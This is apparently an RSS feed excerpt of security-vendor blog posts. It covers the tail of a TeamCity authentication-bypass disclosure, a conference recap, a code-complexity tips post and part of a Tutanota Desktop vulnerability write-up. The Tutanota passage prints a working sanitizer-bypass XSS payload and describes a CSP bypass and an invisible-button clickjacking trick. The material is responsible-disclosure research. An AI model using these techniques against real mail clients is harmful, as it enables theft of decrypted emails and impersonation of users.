RequestInterceptors(@NotNull List&lt;HandlerInterceptor&gt; var1) {
    // ...
-   this.myPreHandlingDisabled.addPath(&quot;/**&quot; + XmlRpcController.getPathSuffix());
+   this.myPreHandlingDisabled.addPath(XmlRpcController.getPathSuffix());
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This way, pre-handling is only disabled when directly accessing &lt;code&gt;/RPC2&lt;/code&gt; without any additional prefixes in the requested path and cannot be leveraged to bypass the authentication for other endpoints.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;p&gt;Our Vulnerability Research team stood in close communication with JetBrains, and we would like to thank them for their efficient collaboration:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-06, 10:44 CET&lt;/td&gt;&lt;td&gt;We report the issue to JetBrains.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-06, 12:39 CET&lt;/td&gt;&lt;td&gt;JetBrains confirms receipt of the report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-06, 12:54 CET&lt;/td&gt;&lt;td&gt;JetBrains reproduces the issue.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-07&lt;/td&gt;&lt;td&gt;JetBrains fixes the issue in 2023.05 branch.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-12&lt;/td&gt;&lt;td&gt;JetBrains prepares the plugin that could be used as a workaround.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-14&lt;/td&gt;&lt;td&gt;JetBrains sends an update:&lt;br&gt;
The issue has been reproduced and confirmed to be a major security issue.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-18&lt;/td&gt;&lt;td&gt;TeamCity version 2023.05.4 is released, which fixes the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-18&lt;/td&gt;&lt;td&gt;JetBrains sends notifications to customers asking them to update as soon as possible.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-19&lt;/td&gt;&lt;td&gt;CVE-2023-42793 is published.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-21&lt;/td&gt;&lt;td&gt;Coordinated release of first blog posts from JetBrains and Sonar.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-09-27&lt;/td&gt;&lt;td&gt;Full disclosure after a public exploit was released.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we outlined the impact of a critical vulnerability we discovered in the popular CI/CD server TeamCity. We determined the root cause of the vulnerability and outlined how attackers could leverage it. Furthermore, we provided general recommendations on preventing these kinds of issues and looked at the patch applied to fix the vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At last, we would like to give a huge shoutout to JetBrains, who quickly confirmed the vulnerability, informed all affected users, and provided a fix. Thank you!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-pre-auth-pipeline-takeover/&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/gocd-vulnerability-chain/&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-a-new-supply-chain-attack-on-php/&quot;&gt;Securing Developer Tools: A New Supply Chain Attack on PHP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/onedev-remote-code-execution/&quot;&gt;Securing Developer Tools: OneDev Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Open Source Summit 2023]]></title><description><![CDATA[Open Source Summit 2023]]></description><link>https://www.sonarsource.com/blog/open-source-summit-2023</link><guid isPermaLink="false">7ffda392-ab9d-5d51-86bd-8fc3b00b79c7</guid><dc:creator><![CDATA[Jonathan Vila]]></dc:creator><pubDate>Tue, 26 Sep 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The week of 18th to 21st of September, the &lt;a href=&quot;https://events.linuxfoundation.org/open-source-summit-europe/&quot;&gt;Open Source Summit conference&lt;/a&gt;, organized by The Linux Foundation, was hosted at the Bilbao Palacio Euskalduna, Spain.&lt;/p&gt;&lt;p&gt;More than 1,500 people attended the conference, and this edition was full of talks about AI, OSPO best practices, security, and DevOps.&lt;/p&gt;&lt;p&gt;Sonar was a sponsor among other relevant companies, with a booth where we had great conversations regarding Clean Code and tooling. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b829164a-5f7e-42ea-b8d5-78bccfcffbc4/ossummit-group.png&quot; /&gt;&lt;h2&gt;The booth interactions&lt;/h2&gt;&lt;p&gt;The main conversations were around explaining how the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/9.6/user-guide/clean-as-you-code/&quot;&gt;Clean As You Code methodology&lt;/a&gt; provided by Sonar can help improve the project status without being overwhelmed by old issues, that eventually as studies show, they will disappear from the project’s code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2cf77617-09b0-40ed-8ac3-0e155eee8269/ossummit-talks.png&quot; /&gt;&lt;p&gt;There were also great interactions around small demos about how the tooling (&lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/?gads_campaign=SL-Class02-Brand&amp;gads_ad_group=SonarLint&amp;gads_keyword=sonarlint&amp;gclid=Cj0KCQjwpc-oBhCGARIsAH6ote9qyVRV-7u1Hskn8B9fT7OuuqLVTe9-7DYnLn_SW13AHp6Iqo650BMaApuIEALw_wcB&quot;&gt;SonarLint&lt;/a&gt;), can help con this methodology facilitating that the developer commits confident code already analyzed and fixed, and how this seamlessly integrates with the centralized tool (&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt;/&lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;) that, using the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/9.6/user-guide/quality-gates/&quot;&gt;Quality Gate concept&lt;/a&gt;, will ensure no bad code is merged into the main branch.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/35e890ac-9d16-49dd-8649-778c147786e1/ossummit-demos.png&quot; /&gt;&lt;h2&gt;Sonar&amp;#x27;s presence in the open-source ecosystem&lt;/h2&gt;&lt;p&gt;We had time also to show the commitment to the Open Source ecosystem from Sonar, which has been present for more than 13 years with its tools SonarQube and SonarLint, and the deep belief that Open Source is driving innovation and democratization of software creation allowing the open source projects to get benefit from SonarCloud, the tool to analyze projects in the hosted edition for free.&lt;/p&gt;&lt;p&gt;More than 87000 Open Source projects are constantly analyzed by SonarCloud, for free, in order to provide tooling and methodologies to the ecosystem in its constant evolution.&lt;/p&gt;&lt;h2&gt;Impact of Clean Code and the methodology to follow&lt;/h2&gt;&lt;p&gt;We had a great opportunity to show the benefits of Clean Code, its definition, and the drawbacks of not using it in Jonathan Vila’s &lt;strong&gt;keynote presentation&lt;/strong&gt; where he showed numbers about the cost of poor quality code and the current definition of Clean Code and how developers can benefit from it using a low friction approach.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5bfa7b0c-7739-44d2-8879-013816701463/ossummit-keynote.png&quot; /&gt;&lt;h2&gt;Takeaways&lt;/h2&gt;&lt;p&gt;It’s clear that the impact of poor-quality software is huge, more than $2 Trillion, and that embracing methodologies that can reduce that impact in our software is the way to go. But, it’s important to use methodologies and tooling that can be used in a low-friction approach,  with tools that cover the different approaches: developer, team, and company, in order to not become overwhelmed on those long-lived projects and the number of issues to fix.&lt;/p&gt;&lt;p&gt;I would like to finish with a special mention to the community, the open-source core that has brought software to its current status, with lots of individuals and groups improving the software libraries we constantly use. And, in this regard, Sonar is very committed to offering tools considering those projects and committing to the ecosystem.&lt;/p&gt;&lt;p&gt;Eskerrik asko, and see you at the next conference 🙂&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[5 Clean Code Tips for Reducing Cognitive Complexity]]></title><description><![CDATA[Understanding how Cognitive Complexity works will help guide you on where to focus your time. This blog dives into how this Sonar-exclusive metric was formulated to accurately measure the relative understandability of methods. ]]></description><link>https://www.sonarsource.com/blog/5-clean-code-tips-for-reducing-cognitive-complexity</link><guid isPermaLink="false">0f1ab781-cd55-56e5-8d52-745e64864a59</guid><dc:creator><![CDATA[John Clifton]]></dc:creator><pubDate>Fri, 22 Sep 2023 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;Chances are, you are very familiar with the feeling of trying to understand someone else&amp;#x27;s (or even your own) old code. It definitely made sense six months ago, but between then and now it has become more &amp;#x27;magic eye&amp;#x27; than map. If you focus on how hard your code is to understand today, tomorrow will be a lot easier. Cognitive Complexity is Sonar&amp;#x27;s measure to help you do exactly that! This blog dives into how Cognitive Complexity is calculated and how it can help you write great code!&lt;/p&gt;&lt;h3&gt;Tip #1: Write code your team will love you for&lt;/h3&gt;&lt;p&gt;When collaborating with a team, it’s very important to consider how well the code you write will be read later in development. Cyclomatic Complexity was first introduced as a way to gauge how easy it is to test and maintain a module&amp;#x27;s control flow. While it&amp;#x27;s pretty good at assessing testability, the mathematical model behind it falls short when it comes to measuring maintainability. In this video, we observe a few examples:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/embed/4SWY1zH_buk?si=WCFMeH2J4s-1EyiG&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Tip #2: Life isn’t all full speed ahead &lt;/h3&gt;&lt;p&gt;Linear code is your friend. If all code was just a sequence of commands listed one after another without any looping or mucking about, then it would be pretty easy to hold that in your head. As soon as you add loops, or decisions that branch the code, it becomes more and more difficult to understand. For this reason, the Cognitive Complexity score for your code will increase by 1 each time you do that. In this video, we see how one’s score adds up when branching and looping are introduced. Sonar can help you see where the complexity is in your code, and seek our opportunities for refactoring. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/embed/WeNz9yTjdUk?si=HYE77E8Qf2d1B3xy&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Tip #3: Nesting things can make things bad really fast&lt;/h3&gt;&lt;p&gt;Nested code is harder to understand and doing more inside nested code compounds how much effort it takes to hold everything in your head. In this video, we see how doing looping or branching inside other loops and branches can drastically impact your Cognitive Complexity score. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/embed/esFeickfhnA?si=1VXKSybHETIavcXR&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Tip #4: Useful things don’t increase complexity&lt;/h3&gt;&lt;p&gt;There are a number of constructs that are designed to make code clearer. Cognitive Complexity scoring is smart enough to understand these constructs do good, so using them won&amp;#x27;t increase your Complexity score. In this video, we observe a handful of examples that can help educate users on how Sonar’s Cognitive Complexity algorithm works. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/embed/_c-nXpaUQwo&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Tip #5: Find the way with Sonar &lt;/h3&gt;&lt;p&gt;In this video, we see how Sonar helps users understand complicated code through Cognitive Complexity scoring. Whether you look at the issue in your IDE with SonarLint or in SonarCloud or SonarQube, you can see each of the points in the function that impacts your overall score. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/embed/YZCpi7B_1n0&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;In conclusion &lt;/h2&gt;&lt;p&gt;Cognitive Complexity provides a fresh take on complexity modeling. It yields method complexity scores that align well with how developers perceive maintainability. This has been a brief overview of how Sonar measuring Cognitive Complexity can help you write code that is easy to understand. Your team and future you will thank you for it! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Want to know more?&lt;strong&gt; &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Check out this &lt;a href=&quot;https://www.sonarsource.com/resources/cognitive-complexity/&quot;&gt;White Paper on Cognitive Complexity&lt;/a&gt; by Community Manager, Ann Campbell! &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Remote Code Execution in Tutanota Desktop due to Code Flaw]]></title><description><![CDATA[Our Research team discovered critical code vulnerabilities in Proton Mail, Skiff, and Tutanota. This post covers an XSS vulnerability in Tutanota Desktop and how it can be prevented.]]></description><link>https://www.sonarsource.com/blog/remote-code-execution-in-tutanota-desktop-due-to-code-flaw</link><guid isPermaLink="false">5fb9df9e-369d-5793-beb7-052117fad8c7</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Wed, 20 Sep 2023 15:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Executive Summary / Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;In June 2022, the Sonar Research team discovered critical code vulnerabilities in multiple encrypted email solutions, including Proton Mail, Skiff, and Tutanota.&lt;/li&gt;&lt;li&gt;These privacy-oriented webmail services provide end-to-end encryption, making communications safe in transit and at rest. Our findings affect their web clients, where the messages are decrypted with the user&amp;#x27;s keys; mobile clients were unaffected.&lt;/li&gt;&lt;li&gt;The vulnerabilities would have allowed attackers to steal emails and impersonate victims if they interacted with malicious messages.&lt;/li&gt;&lt;li&gt;The issue has been fixed, and there are no signs of in-the-wild exploitation.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;Our last two articles discussed the risks of end-to-end encrypted mail providers and showcased the details of two Cross-Site Scripting vulnerabilities we found &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/&quot;&gt;in Proton Mail&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;in Skiff&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post concludes our three-part series by presenting the technical details of vulnerabilities we found in the Tutanota desktop client. We show how an innocent-looking piece of code led to a Cross-Site Scripting issue that made it possible for attackers to steal decrypted emails, impersonate victims, and even execute arbitrary code on the victim&amp;#x27;s machine if they use the desktop client of Tutanota.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also presented the content of this blog post series as a talk at &lt;a href=&quot;https://www.blackhat.com/asia-23/briefings/schedule/#stealing-with-style-using-css-to-exploit-protonmail--friends-31697&quot;&gt;Black Hat Asia 2023&lt;/a&gt;; the video recording is available &lt;a href=&quot;https://www.youtube.com/watch?v=pnbZMvCPqSc&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The Sonar Research team discovered a Cross-Site Scripting vulnerability in the open-source code of Tutanota&amp;#x27;s web-based clients. Since a client is where the decryption of emails happens after the user enters their password, it is also the place where the emails exist in their decrypted form. Attackers can therefore steal decrypted emails and impersonate their victims, bypassing the end-to-end encryption.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, attackers could have gone further by chaining the XSS vulnerability with additional bugs we discovered. This would have resulted in the execution of arbitrary code on a victim&amp;#x27;s machine.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers have to send an email that must be viewed by the victim with the Tutanota Desktop client. Once the email is opened and the victim performs two clicks &lt;em&gt;anywhere in the application&lt;/em&gt;, the attacker-controlled payload is executed on their system. More details on the exploit requirements can be found later in this article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We responsibly disclosed the vulnerabilities to the vendor in June 2022, and they were fixed within two days. The following proof-of-concept shows how attackers could have exploited the vulnerability before that:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/5Rm3CHo-78M&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;Dealing with user-controlled HTML in a web application always increases the risk of Cross-Site Scripting (XSS). While senders may want to style their message and include images, other HTML tags like &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; may have unwanted effects and compromise the reader&amp;#x27;s security. This is already dangerous for regular webmail services, where anybody could send a malicious email to a user just by knowing their email address.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is even more dangerous for end-to-end encrypted and privacy-oriented web mailers, where users put much more trust into the service. If an attacker can execute arbitrary JavaScript in the context of such an application, they could potentially steal decrypted emails and private keys, deanonymize users, and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid all this, web mailers put a lot of effort into ensuring no malicious HTML can get through. Most use state-of-the-art HTML sanitizers, such as &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, to eliminate malicious HTML. This is an excellent first step, but even the sanitized data is so fragile that subtle mistakes in handling it can jeopardize the security of the whole application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following sections will explain the code vulnerability we found in &lt;a href=&quot;https://tutanota.com/&quot;&gt;Tutanota&lt;/a&gt;, specifically in the desktop client. We will also highlight the importance of modern web defense mechanisms, how they make attackers&amp;#x27; lives harder, and how they can still be bypassed when the right stars align. Finally, we examine how the Tutanota team fixed these issues and how to avoid such vulnerabilities in your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Get ready for a story about parser differentials, Electron security, and a blocklist bypass!&lt;/strong&gt;&lt;/p&gt;&lt;h3&gt;Tutanota&lt;/h3&gt;&lt;p&gt;To make sure users can read emails safely, Tutanota implemented several protections. The first step is to sanitize the body of emails using an HTML sanitizer, in this case, DOMPurify. The sanitized HTML is then searched for text links to convert them into &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/blob/3c032999ab55e5ce7e2832ded9eb5a3e03ecf857/src/mail/view/MailViewerViewModel.ts#L786&quot;&gt;src/mail/view/MailViewerViewModel.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;private async setSanitizedMailBodyFromMail(/* [...] */): /* [...] */ {
    const {htmlSanitizer} = await import(&quot;../../misc/HtmlSanitizer&quot;)
    const sanitizeResult = htmlSanitizer.sanitizeFragment(this.getMailBody(), /* [...] */)
    const {html, inlineImageCids, links, externalContent} = sanitizeResult
    // [...]
    const text = await locator.worker.urlify(stringifyFragment(html))
    // [...]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Tutanota uses the &lt;code&gt;linkifyjs&lt;/code&gt; library for this. They pass the sanitized HTML string and get back a linkified HTML string:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/tutao/tutanota/blob/dbe33d2d239f513d82e33d296c36f3b748517462/src/api/worker/Urlifier.ts&quot;&gt;src/api/worker/Urlifier.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import linkifyHtml from &quot;linkifyjs/html&quot;

export function urlify(html: string): string {
    return linkifyHtml(html, {
        attributes: {
            rel: &quot;noopener noreferrer&quot;,
        },
        target: &quot;_blank&quot;,
    })
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The Linkify library therefore has to parse the HTML string. By taking the following payload, we can observe that the parser behaves differently than the browser:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;svg&gt;&lt;style&gt;&lt;a alt=&quot;&lt;/style&gt;&lt;i x&gt;&lt;img src onerror=alert(1)&gt;&quot; /&gt;&lt;/style&gt;​&lt;/svg&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The browser will correctly parse anything under the &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; element with SVG parsing rules, therefore parsing the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element&amp;#x27;s content as further child elements. DOMPurify uses the browser&amp;#x27;s parser, so the sanitizer will not see anything malicious:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/193516fa-98a9-45a4-86d0-1a653bd606c6/tutanota-html-dompurify.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, Linkify sees this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7cc469ab-1962-499d-b771-8332bc792a85/tutanota-html-linkify-parsed.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As we can see, Linkify incorrectly parses the content of the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element as raw, causing the first occurrence of the byte sequence &lt;code&gt;&amp;lt;/style&amp;gt;&lt;/code&gt; to close the element. This ends the style element prematurely, revealing the &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags that were hidden in an attribute before.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As of now, this is not much of a concern because the Linkify library only parses the HTML but does not render it, so the &lt;code&gt;onerror&lt;/code&gt; handler would never be executed at this stage. But to complete its job, Linkify has to serialize the parsed HTML back to a string. This is where it applies some modifications to normalize the HTML:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6a5d406f-6e15-4686-a28f-da277d11c685/tutanota-html-linkify-normalized.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can see that the library normalized several attributes by either adding a default empty value (&lt;code&gt;x=&amp;quot;&amp;quot;&lt;/code&gt;) or by wrapping attribute values into double quotes (&lt;code&gt;onerror=&amp;quot;alert(1)&amp;quot;&lt;/code&gt;). The final HTML string looks like this:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;svg&gt;&lt;style&gt;&lt;a alt=&quot;&lt;/style&gt;&lt;i x=&quot;&quot;&gt;&lt;img src=&quot;&quot; onerror=&quot;alert(1)&quot;&gt;&quot; /&gt;&lt;/style&gt;&lt;/svg&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When the browser finally renders this HTML, it parses it as follows:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/764d847f-4360-46e4-8bae-11ebe0f50344/tutanota-html-final-parsed.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can see that the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag&amp;#x27;s &lt;code&gt;alt&lt;/code&gt; attribute which previously contained the &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags is now much shorter. The double quote that Linkify inserted to normalize the &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tag&amp;#x27;s &lt;code&gt;x&lt;/code&gt; attribute now ends the &lt;code&gt;alt&lt;/code&gt; tag, and the &lt;code&gt;&amp;lt;i&amp;gt;&lt;/code&gt; tag&amp;#x27;s closing ankle bracket (&lt;code&gt;&amp;lt;&lt;/code&gt;) ends the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag. This causes everything that originally came after the &lt;code&gt;&amp;lt;i x&amp;gt;&lt;/code&gt; tag to be parsed as HTML elements, including the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag with its &lt;code&gt;onerror&lt;/code&gt; handler.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This parser differential between the browser (used by DOMPurify) and Linkify can be abused by attackers to smuggle arbitrary HTML into the DOM of a victim, including JavaScript.&lt;/p&gt;&lt;h3&gt;Here comes the CSP&lt;/h3&gt;&lt;p&gt;Luckily, any attacker-controlled JavaScript would not be executed. Tutanota has a very restrictive Content Security Policy (CSP) that only allows scripts loaded from Tutanota itself, and no inline scripts. This is done using the directive &lt;code&gt;script-src &amp;#x27;self&amp;#x27;&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;In the web client, this is pretty solid, and we did not find a bypass of the CSP, making the sanitizer bypass useless to attackers.&lt;/strong&gt; But Tutanota also has a set of desktop clients that are based on the web client, so let&amp;#x27;s look at them!&lt;/p&gt;&lt;h3&gt;Electron 101&lt;/h3&gt;&lt;p&gt;These desktop clients are built using &lt;a href=&quot;https://www.electronjs.org/&quot;&gt;Electron&lt;/a&gt;, a framework that allows building cross-platform desktop applications using web technologies. It is basically Node.js and the Chromium browser mashed together and shipped as a single executable. Developers bundle it together with their application, which can then use the benefits of the web ecosystem together with the flexibility of having direct access to the system via Node.js&amp;#x27;s APIs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is what Tutanota&amp;#x27;s desktop client looks like:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/29d5ed34-8cb3-41be-8cb7-077e2a04619e/tutanota-desktop-client.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When started, the desktop client would unpack the web app it was bundled with to a temporary directory and then render it by loading a &lt;code&gt;file://&lt;/code&gt; URL in the integrated Chromium browser.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Tutanota&amp;#x27;s web and desktop clients share the same CSP, so let&amp;#x27;s compare the two situations! On the web, the page is loaded from &lt;a href=&quot;https://mail.tutanota.com/&quot;&gt;https://mail.tutanota.com&lt;/a&gt;, so the CSP only allows JavaScript files loaded from this origin.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the desktop clients, the page is loaded from a URL like &lt;code&gt;file:///C:/Users/Paul/AppData/Local/…&lt;/code&gt;. But what does the &lt;code&gt;&amp;#x27;self&amp;#x27;&lt;/code&gt; CSP value mean for &lt;code&gt;file://&lt;/code&gt; URLs? Turns out it allows &lt;em&gt;any&lt;/em&gt; file from the file system to be loaded! This means that if an attacker can control the contents of a file at a known path, they can bypass the CSP.&lt;/p&gt;&lt;h3&gt;Attachments&lt;/h3&gt;&lt;p&gt;One way to control a file is by adding an attachment to an email and hoping the victim clicks the &lt;em&gt;save&lt;/em&gt; button, but attackers can take it a step further. In Proton Mail and Skiff, the email body was inserted into an iframe that isolates it from the application. For Tutanota, there was no isolation between the application itself and the email body, so any CSS styles included in the email may also apply to other elements of the UI.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This can be abused by an attacker to make the &lt;em&gt;Save Attachment&lt;/em&gt; button transparent and also stretch it over the whole application&amp;#x27;s UI. This form of UI redressing leaves the victim no choice but to unknowingly click the invisible button (visualized in red) if they want to continue using their mail client:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7796c7f7-32c5-4496-87bc-edad3c3bd5e9/tutanota-button-overlay-2.1.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once the attachment is downloaded, the attacker knows its file path 